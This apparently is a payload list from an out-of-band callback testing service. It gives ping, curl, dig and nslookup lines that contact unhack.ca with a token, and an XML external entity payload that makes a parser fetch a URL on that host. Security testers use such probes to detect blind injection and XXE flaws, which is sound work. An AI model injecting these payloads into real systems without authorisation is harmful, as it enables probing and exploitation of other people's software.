$ ping -c1 -p 003f2492b0f27c16592e52abaf4f8500 unhack.ca
 

$ curl http://unhack.ca/p/3f2492b0f27c16592e52abaf4f85
 

$ dig 3f2492b0f27c16592e52abaf4f85 @unhack.ca
 

$ dig 3f2492b0f27c16592e52abaf4f85.ns.unhack.ca
 

C:\> nslookup 3f2492b0f27c16592e52abaf4f85 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/3f2492b0f27c16592e52abaf4f85">]>
    <foo>&xxe;</foo>